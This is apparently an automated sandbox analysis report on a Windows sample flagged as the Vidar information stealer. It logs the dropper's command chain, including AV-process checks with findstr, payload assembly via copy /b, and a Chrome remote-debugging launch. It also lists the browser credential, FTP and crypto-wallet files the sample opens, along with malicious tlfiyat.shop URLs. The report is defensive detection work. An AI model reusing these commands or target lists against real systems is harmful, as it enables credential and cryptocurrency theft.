Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_00965058 mov eax, dword ptr fs:[00000030h]

13_2_00965058

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009A20AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

13_2_009A20AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00972992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00972992
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00960BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00960BAF
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00960D45 SetUnhandledExceptionFilter,	13_2_00960D45
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00960F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00960F91

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Surrey.com PID: 2864, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

13_2_009A1B4D

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_0094338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_0094338B

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009ABBED SendInput,keybd_event,

13_2_009ABBED

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009AEC9E mouse_event,

13_2_009AEC9E

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 634977	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gtk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Constitution" Wagon	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 634977\Surrey.com + Firewire + Values + Expanding + Representing + Gothic + Voltage + Refinance + Nec + Kate 634977\Surrey.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Courage + ..\Remove + ..\Throws + ..\Competing Q	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\634977\Surrey.com Surrey.com Q	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009A14AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

13_2_009A14AE

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009A1FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

13_2_009A1FB0

Source: Surrey.com, 0000000D.00000000.2391915618.0000000000A03000.00000002.00000001.01000000.00000007.sdmp, Nec.9.dr, Surrey.com.2.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Surrey.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_00960A08 cpuid

13_2_00960A08

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_0099E5F4 GetLocalTime,

13_2_0099E5F4

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_0099E652 GetUserNameW,

13_2_0099E652

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_0097BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

13_2_0097BCD2

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 13.2.Surrey.com.43e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2603391503.00000000043EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Surrey.com PID: 2864, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Surrey.com, 0000000D.00000002.3577995896.00000000015C4000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: electrum.*
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Surrey.com, 0000000D.00000002.3577995896.00000000015C4000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: exodus.*
Source: Surrey.com, 0000000D.00000002.3577995896.00000000015C4000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ethereum.*
Source: Surrey.com, 0000000D.00000002.3581492503.00000000018B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ov4x28i2.default\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Surrey.com	Binary or memory string: WIN_81
Source: Surrey.com	Binary or memory string: WIN_XP
Source: Surrey.com.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Surrey.com	Binary or memory string: WIN_XPe
Source: Surrey.com	Binary or memory string: WIN_VISTA
Source: Surrey.com	Binary or memory string: WIN_7
Source: Surrey.com	Binary or memory string: WIN_8

Source: Yara match

File source: Process Memory Space: Surrey.com PID: 2864, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 13.2.Surrey.com.43e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2603391503.00000000043EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Surrey.com PID: 2864, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009C2263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		13_2_009C2263
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009C1C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		13_2_009C1C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	1 Software Packing	NTDS	26 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	121 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
25xTHcaF7V.exe	32%	Virustotal		Browse
25xTHcaF7V.exe	32%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\9r1vs\i5pz5p	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\634977\Surrey.com	0%	ReversingLabs

Source	Detection	Scanner	Label
https://tlfiyat.shop/X5	100%	Avira URL Cloud	malware
https://tlfiyat.shop/W;	100%	Avira URL Cloud	malware
https://tlfiyat.shop/s	100%	Avira URL Cloud	malware
https://tlfiyat.shop/s5i.	100%	Avira URL Cloud	malware
https://tlfiyat.shop/O	100%	Avira URL Cloud	malware
https://tlfiyat.shop/	100%	Avira URL Cloud	malware
http://anglebug.com/6929e-data	0%	Avira URL Cloud	safe
https://tlfiyat.shop/k	100%	Avira URL Cloud	malware
https://tlfiyat.shopW	0%	Avira URL Cloud	safe
http://anglebug.com/8215e4	0%	Avira URL Cloud	safe
https://tlfiyat.shop#	100%	Avira URL Cloud	malware
https://tlfiyat.shop/;8	100%	Avira URL Cloud	malware
http://anglebug.com/6651X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
